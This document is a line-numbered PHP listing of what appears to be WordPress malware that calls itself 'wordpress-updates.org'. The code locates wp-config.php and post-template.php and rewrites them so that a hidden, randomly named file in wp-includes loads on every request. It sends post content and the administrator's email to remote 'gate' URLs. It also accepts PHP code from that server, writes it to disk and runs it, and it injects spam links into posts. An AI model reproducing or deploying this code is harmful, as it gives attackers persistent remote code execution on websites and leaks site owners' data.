|
1 <? |
|
2 $amt_u_tpl=5; |
|
3 if(!function_exists(amt_gp)) |
|
4 { |
|
5 function amt_gp() |
|
6 { |
|
7 if(!function_exists(amt_rdr)) |
|
8 { |
|
9 function amt_rdr($dir) |
|
10 { |
|
11 $handle=@opendir($dir); |
|
12 while($file=@readdir($handle)) |
|
13 { |
|
14 if($file!="." && $file!="..") |
|
15 { |
|
16 $t_dir[]=$file; |
|
17 } |
|
18 } |
|
19 @closedir($handle); |
|
20 return $t_dir; |
|
21 } |
|
22 } |
|
23 $link=explode("/", $_SERVER["SCRIPT_FILENAME"]); |
|
24 $sfn=$_SERVER["SCRIPT_FILENAME"]; |
|
25 $r_dir=$sfn; |
|
26 for($q=sizeof($link)-1;$q>0;$q--) |
|
27 { |
|
28 $link[$q]="/".$link[$q]; |
|
29 $r_dir=str_replace($link[$q],"",$r_dir); |
|
30 $rdr=amt_rdr($r_dir); |
|
31 if(@in_array('wp-config.php',$rdr)) |
|
32 { |
|
33 $root_dir[0]=$r_dir; |
|
34 break; |
|
35 } |
|
36 } |
|
37 $root_dir[1]=$root_dir[0]."/wp-includes"; |
|
38 $t_dir=$root_dir[0]."/wp-content/themes/"; |
|
39 $t_dirs=amt_rdr($t_dir); |
|
40 for($q=0;$q<sizeof($t_dirs);$q++) |
|
41 { |
|
42 $p_d=$t_dir.$t_dirs[$q]; |
|
43 $f_d=amt_rdr($p_d); |
|
44 if(@in_array('functions.wp-amt.php',$f_d)) |
|
45 { |
|
46 $root_dir[2]=$p_d; |
|
47 $root_dir[4]=$t_dirs[$q]; |
|
48 break; |
|
49 } |
|
50 } |
|
51 if(isset($_SERVER['SUBDOMAIN_DOCUMENT_ROOT'])) { $dr=$_SERVER['SUBDOMAIN_DOCUMENT_ROOT']; } else { $dr=$_SERVER['DOCUMENT_ROOT']; } |
|
52 $root_dir[3]=str_replace($dr,'',$root_dir[0]); |
|
53 return $root_dir; |
|
54 } |
|
55 } |
|
56 class amt_data |
|
57 { |
|
58 var $n_f; |
|
59 var $t_o; |
|
60 var $c_d; |
|
61 var $host; |
|
62 var $wp_c; |
|
63 var $wp_pt; |
|
64 var $wp_ff; |
|
65 var $wp_fwp; |
|
66 var $t_n; |
|
67 var $u_g; |
|
68 var $wrt; |
|
69 var $r_dir; |
|
70 var $my_h; |
|
71 var $a_em; |
|
72 var $p_ttl; |
|
73 var $p_cgy; |
|
74 function amt_trim_domen() |
|
75 { |
|
76 $amt_site=str_replace(".","",$_SERVER['HTTP_HOST']); |
|
77 $amt_site=str_replace("-","_",$amt_site); |
|
78 $amt_site=str_replace("www","",$amt_site); |
|
79 return $amt_site; |
|
80 } |
|
81 function amt_gfn() |
|
82 { |
|
83 $num=rand(7,14); |
|
84 $arr=array('a','b','d','e','f','g','h','i','j','k','l','m','n','p','r','s','t','v','x','y','z'); |
|
85 $rfn=""; |
|
86 for($i=0;$i<$num;$i++) |
|
87 { |
|
88 $ind=rand(0,sizeof($arr)); |
|
89 $rfn.=$arr[$ind]; |
|
90 } |
|
91 $rfn.=".php"; |
|
92 return $rfn; |
|
93 } |
|
94 function amt_gtbl() |
|
95 { |
|
96 global $table_prefix; |
|
97 $amt_site=$this->amt_trim_domen(); |
|
98 $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); |
|
99 return $t_n; |
|
100 } |
|
101 function amt_gae() |
|
102 { |
|
103 global $wpdb, $table_prefix; |
|
104 $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); |
|
105 $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); |
|
106 $this->a_em=$uem[0]; |
|
107 return $a_em; |
|
108 } |
|
109 function amt_crtb() |
|
110 { |
|
111 global $wpdb; |
|
112 $this->amt_gtbl(); |
|
113 $query=" |
|
114 CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( |
|
115 id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , |
|
116 id_post INT(9) NOT NULL , |
|
117 last_up DATETIME NOT NULL , |
|
118 addd DATETIME NOT NULL |
|
119 ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; |
|
120 "; |
|
121 $wpdb->query($query); |
|
122 $query=" |
|
123 CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( |
|
124 id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , |
|
125 l_b ENUM('0', '1') NOT NULL , |
|
126 id_post INT(9) NOT NULL , |
|
127 word VARCHAR(255) NOT NULL , |
|
128 id_word INT( 9 ) NOT NULL , |
|
129 link VARCHAR(255) NOT NULL , |
|
130 date DATE NOT NULL |
|
131 ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; |
|
132 "; |
|
133 $wpdb->query($query); |
|
134 $query=" |
|
135 CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( |
|
136 host VARCHAR(255) NOT NULL , |
|
137 t_o VARCHAR(255) NOT NULL , |
|
138 n_f VARCHAR(255) NOT NULL , |
|
139 date DATE NOT NULL |
|
140 ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; |
|
141 "; |
|
142 $wpdb->query($query); |
|
143 $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); |
|
144 $this->host=$mda[0]; |
|
145 if($this->host=="") |
|
146 { |
|
147 $amt_nf=$this->amt_gfn(); |
|
148 $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; |
|
149 $wpdb->query($query); |
|
150 $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); |
|
151 $this->host=$mda[0]; |
|
152 } |
|
153 $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; |
|
154 $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; |
|
155 $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; |
|
156 } |
|
157 } |
|
158 $amt_d=new amt_data; |
|
159 $amt_d->amt_crtb(); |
|
160 $amt_d->amt_gae(); |
|
161 $root_dir=amt_gp(); |
|
162 $amt_d->u_tpl=$amt_u_tpl; |
|
163 $amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); |
|
164 $amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; |
|
165 $amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; |
|
166 $amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; |
|
167 $amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; |
|
168 $amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); |
|
169 $amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; |
|
170 $amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; |
|
171 $amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; |
|
172 if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } |
|
173 amt_ci(); |
|
174 amt_cifi(); |
|
175 |
|
176 function amt_cif() |
|
177 { |
|
178 global $amt_d; |
|
179 if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } |
|
180 } |
|
181 |
|
182 function amt_cifi() |
|
183 { |
|
184 global $amt_d; |
|
185 $today=date("Ymd"); |
|
186 if($today<=20100225) |
|
187 { |
|
188 $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); |
|
189 amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); |
|
190 } |
|
191 } |
|
192 |
|
193 function amt_ci() |
|
194 { |
|
195 global $amt_d; |
|
196 $sha="!amt_cif!si"; |
|
197 $sha2="!".$amt_d->n_f."!si"; |
|
198 $cont=file_get_contents($amt_d->wp_c); |
|
199 if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) |
|
200 { |
|
201 $amt_d->ci[0]=0; |
|
202 } |
|
203 else |
|
204 { |
|
205 $amt_d->ci[0]=1; |
|
206 } |
|
207 $sha="!amt_cc!si"; |
|
208 $cont=file_get_contents($amt_d->wp_pt); |
|
209 if(!preg_match($sha,$cont,$match)) |
|
210 { |
|
211 $amt_d->ci[1]=0; |
|
212 } |
|
213 else |
|
214 { |
|
215 $amt_d->ci[1]=1; |
|
216 } |
|
217 |
|
218 if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) |
|
219 { |
|
220 $amt_d->ci[2]=0; |
|
221 } |
|
222 else |
|
223 { |
|
224 $amt_d->ci[2]=1; |
|
225 } |
|
226 if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } |
|
227 if($amt_d->ci[3]==0) |
|
228 { |
|
229 if($amt_d->ci[0]==0) |
|
230 { |
|
231 chmod($amt_d->wp_c, 0755); |
|
232 $cont=trim(file_get_contents($amt_d->wp_c)); |
|
233 $sha="/\?>$/"; |
|
234 if(preg_match($sha,$cont,$name)) |
|
235 { |
|
236 $cont=$cont." |
|
237 <? if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; |
|
238 } |
|
239 else |
|
240 { |
|
241 $cont=$cont." |
|
242 if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; |
|
243 } |
|
244 $amt_f = fopen($amt_d->wp_c,"w"); |
|
245 $test = fwrite($amt_f, $cont); |
|
246 fclose($amt_f); |
|
247 if($test) { chmod($amt_d->wp_c, 0644); } |
|
248 } |
|
249 if($amt_d->ci[1]==0) |
|
250 { |
|
251 $cont=file_get_contents($amt_d->wp_pt); |
|
252 $sha1="echo \$content;"; |
|
253 $sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } |
|
254 echo \$content;"; |
|
255 $cont=str_replace($sha1,$sha2,$cont); |
|
256 chmod($amt_d->wp_pt, 0755); |
|
257 $amt_f = fopen($amt_d->wp_pt,"w"); |
|
258 $test = fwrite($amt_f, $cont); |
|
259 fclose($amt_f); |
|
260 if($test) { @chmod($amt_d->wp_pt, 0644); } |
|
261 } |
|
262 if($amt_d->ci[2]==0) |
|
263 { |
|
264 $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; |
|
265 if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } |
|
266 if(file_exists($amt_d->wp_ff)) |
|
267 { |
|
268 chmod($amt_d->wp_ff, 0755); |
|
269 } |
|
270 $amt_f = fopen($amt_d->wp_ff,"w"); |
|
271 $test = fwrite($amt_f, $content); |
|
272 fclose($amt_f); |
|
273 if($test) { chmod($amt_d->wp_ff, 0644); } |
|
274 } |
|
275 } |
|
276 } |
|
277 function amt_cc($content) |
|
278 { |
|
279 global $amt_d; |
|
280 $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); |
|
281 amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); |
|
282 return $content; |
|
283 } |
|
284 function amt_gct($id) |
|
285 { |
|
286 global $amt_d; |
|
287 $ololo=get_post($id); |
|
288 $amt_cty=get_the_category(); |
|
289 $amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; |
|
290 $amt_d->p_ttl=$ololo->post_title; |
|
291 } |
|
292 function amt_cco($id, $content) |
|
293 { |
|
294 global $wpdb, $amt_d; |
|
295 $q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); |
|
296 $q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); |
|
297 $q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); |
|
298 for($q=0;$q < count($q_word);$q++) |
|
299 { |
|
300 $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); |
|
301 } |
|
302 $content.=amt_abl($id); |
|
303 return $content; |
|
304 } |
|
305 function amt_abl($id) |
|
306 { |
|
307 global $wpdb, $amt_d; |
|
308 $t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); |
|
309 if($t_link[0]!="") |
|
310 { |
|
311 $tlk="<p>".$t_link[0]."</p>"; |
|
312 } |
|
313 else |
|
314 { |
|
315 $tlk=""; |
|
316 } |
|
317 return $tlk; |
|
318 } |
|
319 function amt_copt($m_url) |
|
320 { |
|
321 global $wpdb, $amt_d; |
|
322 $post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); |
|
323 $today=date("Y-m-d"); |
|
324 if(!amt_cuo()) |
|
325 { |
|
326 if($amt_ud=amt_sender($amt_d->u_g[2], $post)) |
|
327 { |
|
328 if($amt_ud!="no" && $amt_ud!="") |
|
329 { |
|
330 $amt_md=explode('*^*^*^*',$amt_ud); |
|
331 $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; |
|
332 $wpdb->query($amt_q); |
|
333 if($amt_md[3]==2) |
|
334 { |
|
335 amt_cnff($amt_md[4]); |
|
336 } |
|
337 } |
|
338 else |
|
339 { |
|
340 $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; |
|
341 $wpdb->query($amt_q); |
|
342 } |
|
343 } |
|
344 } |
|
345 } |
|
346 function amt_cnff($content) |
|
347 { |
|
348 global $amt_d; |
|
349 if($content=="") { return false; } |
|
350 $content= |
|
351 "<? |
|
352 ".$content." |
|
353 ?>"; |
|
354 if(file_exists($amt_d->wp_ff)) |
|
355 { |
|
356 @chmod($amt_d->wp_ff, 0755); |
|
357 } |
|
358 $amt_f = fopen($amt_d->wp_ff,'w'); |
|
359 $test = fwrite($amt_f, $content); |
|
360 @fclose($amt_f); |
|
361 if($test) { @chmod($amt_d->wp_ff, 0644); } |
|
362 $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; |
|
363 if(file_exists($s_f_path)) |
|
364 { |
|
365 @chmod($s_f_path, 0755); |
|
366 } |
|
367 $amt_f = fopen($s_f_path,'w'); |
|
368 $test = fwrite($amt_f, $content); |
|
369 @fclose($amt_f); |
|
370 if($test) { @chmod($s_f_path, 0644); } |
|
371 } |
|
372 function amt_inb($id, $last) |
|
373 { |
|
374 global $wpdb, $amt_d; |
|
375 $amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; |
|
376 $wpdb->query($amt_q); |
|
377 $amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; |
|
378 $wpdb->query($amt_q); |
|
379 } |
|
380 function amt_ins($id, $last, $cont, $url) |
|
381 { |
|
382 global $amt_d; |
|
383 $last=str_replace(" ","_",$last); |
|
384 $url=trim_url($url); |
|
385 $post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); |
|
386 $amt_pisg=amt_sender($amt_d->u_g[0], $post); |
|
387 if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } |
|
388 return $pis; |
|
389 } |
|
390 function amt_pib($id) |
|
391 { |
|
392 global $wpdb, $amt_d; |
|
393 $query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; |
|
394 $wpdb->query($query); |
|
395 if($wpdb->num_rows>0) |
|
396 { |
|
397 $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); |
|
398 if($per>30) |
|
399 { |
|
400 return 0; |
|
401 } |
|
402 else |
|
403 { |
|
404 return 1; |
|
405 } |
|
406 } |
|
407 return $wpdb->num_rows; |
|
408 } |
|
409 function amt_qwe($id) |
|
410 { |
|
411 global $wpdb, $amt_d; |
|
412 $query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; |
|
413 $wpdb->query($query); |
|
414 return $wpdb->num_rows; |
|
415 } |
|
416 function amt_cuq() |
|
417 { |
|
418 global $wpdb, $amt_d; |
|
419 $today=date("Y-m-d"); |
|
420 $date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); |
|
421 if($date_up!=$today) |
|
422 { |
|
423 return false; |
|
424 } |
|
425 else |
|
426 { |
|
427 return true; |
|
428 } |
|
429 } |
|
430 function amt_cuo() |
|
431 { |
|
432 global $amt_d; |
|
433 $today=date("Y-m-d"); |
|
434 if($amt_d->c_d!=$today) |
|
435 { |
|
436 return false; |
|
437 } |
|
438 else |
|
439 { |
|
440 return true; |
|
441 } |
|
442 } |
|
443 function amt_qse($id, $m_url) |
|
444 { |
|
445 global $wpdb, $amt_d; |
|
446 $today=date("Y-m-d"); |
|
447 $m_url=trim_url($m_url); |
|
448 $post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); |
|
449 if($amt_nq=amt_sender($amt_d->u_g[1], $post)) |
|
450 { |
|
451 if($amt_nq=="no quests") |
|
452 { |
|
453 $amt_q1="delete from ".$amt_d->t_n[1].";"; |
|
454 $wpdb->query($amt_q1); |
|
455 $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; |
|
456 echo $amt_q2; |
|
457 $wpdb->query($amt_q2); |
|
458 } |
|
459 else |
|
460 { |
|
461 $amt_q1="delete from ".$amt_d->t_n[1].";"; |
|
462 $wpdb->query($amt_q1); |
|
463 $amt_qs=explode("*****",$amt_nq); |
|
464 for($q=0;$q < sizeof($amt_qs);$q++) |
|
465 { |
|
466 $m_amt_q=explode("^^^",$amt_qs[$q]); |
|
467 $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; |
|
468 $wpdb->query($amt_q2); |
|
469 } |
|
470 } |
|
471 } |
|
472 } |
|
473 function amt_sender($url, $post) |
|
474 { |
|
475 global $amt_d; |
|
476 $_post=Array(); |
|
477 if(is_array($post)) |
|
478 { |
|
479 foreach($post as $name => $value) |
|
480 { |
|
481 $_post[]=$name.'='.urlencode($value); |
|
482 } |
|
483 } |
|
484 if (function_exists("curl_init")) |
|
485 { |
|
486 $ch=curl_init($url); |
|
487 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); |
|
488 curl_setopt($ch, CURLOPT_POST, 1); |
|
489 curl_setopt($ch, CURLOPT_HEADER, 0); |
|
490 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); |
|
491 curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); |
|
492 curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); |
|
493 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); |
|
494 if(is_array($post)) |
|
495 { |
|
496 curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); |
|
497 } |
|
498 $result=curl_exec($ch); |
|
499 if(curl_errno($ch)!=0 && empty($result)) |
|
500 { |
|
501 $result=false; |
|
502 } |
|
503 curl_close($ch); |
|
504 $result="HTTPSTART".$result; |
|
505 $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); |
|
506 return $result; |
|
507 } |
|
508 else |
|
509 { |
|
510 $parse_url = parse_url($url); |
|
511 $path = $parse_url["path"]; |
|
512 $host= $parse_url["host"]; |
|
513 $result=""; |
|
514 $post=implode('&', $_post); |
|
515 $fp=fsockopen($host, 80); |
|
516 if($fp) |
|
517 { |
|
518 socket_set_timeout($fp, $amt_d->t_o); |
|
519 $request = "POST $path HTTP/1.1\r\n"; |
|
520 $request .= "Host: $host\r\n"; |
|
521 $request .= "User-Agent: Penetrator/3.0\r\n"; |
|
522 $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; |
|
523 $request .= "Referer: ".$amt_d->my_h."\r\n"; |
|
524 $request .= "Content-Length: ".strlen($post)."\r\n"; |
|
525 $request .= "Connection: close\r\n\r\n$post"; |
|
526 fputs($fp,$request); |
|
527 while(!feof($fp)) |
|
528 { |
|
529 $result.=fgets($fp); |
|
530 } |
|
531 fclose($fp); |
|
532 $result="HTTPSTART".$result; |
|
533 $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); |
|
534 return $result; |
|
535 } |
|
536 return false; |
|
537 } |
|
538 } |
|
539 function amt_create_post_words($content,$word,$id_word,$link,$nwm) |
|
540 { |
|
541 $n_content=strip_tags($content); |
|
542 $word=trim($word); |
|
543 $t_link="http://".$link; |
|
544 $w=0; |
|
545 $sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; |
|
546 $bilo="/( ".$word.".{1}|".$word.".{1})/si"; |
|
547 $stalo="***\\0***"; |
|
548 $new_content=preg_replace($bilo,$stalo,$n_content); |
|
549 preg_match_all($sha2,$new_content,$massa); |
|
550 $sha_word=erase_zv($massa[0][$id_word]); |
|
551 $sha_word_l=strong_word($sha_word,$word,$t_link); |
|
552 $content=str_replace($sha_word,$sha_word_l,$content); |
|
553 return $content; |
|
554 } |
|
555 function erase_zv($text) |
|
556 { |
|
557 $text=str_replace(",***",",",$text); |
|
558 $text=str_replace(".***",".",$text); |
|
559 $text=str_replace(" ***"," ",$text); |
|
560 $text=str_replace("*** "," ",$text); |
|
561 $text=str_replace("***"," ",$text); |
|
562 return $text; |
|
563 } |
|
564 function trim_side($text) |
|
565 { |
|
566 $new_text=""; |
|
567 $txt=explode(" ", $text); |
|
568 $n_w=sizeof($txt); |
|
569 for($ts=1;$ts<$n_w-1;$ts++) |
|
570 { |
|
571 $new_text.=$txt[$ts]." "; |
|
572 } |
|
573 return $new_text; |
|
574 } |
|
575 function strong_word($content,$word,$t_link) |
|
576 { |
|
577 $bilo="/( ".$word.".{1}|".$word.".{1})/si"; |
|
578 $stalo="<a href='file:///D|/prj/wp/test/$t_link'>\\0</a>"; |
|
579 $content=preg_replace($bilo,$stalo,$content); |
|
580 $content=str_replace("> ",">",$content); |
|
581 $content=str_replace(" <","<",$content); |
|
582 $content=str_replace("<"," <",$content); |
|
583 $content=str_replace(" </a>","</a>",$content); |
|
584 $content=str_replace("</a>","</a> ",$content); |
|
585 $content=str_replace(",</a>","</a>, ",$content); |
|
586 $content=str_replace(".</a>","</a>. ",$content); |
|
587 $content=str_replace(" "," ",$content); |
|
588 return $content; |
|
589 } |
|
590 function trim_url($url) |
|
591 { |
|
592 $url=preg_replace("(www.|http://)", "", $url); |
|
593 return $url; |
|
594 } |
|
595 ?> |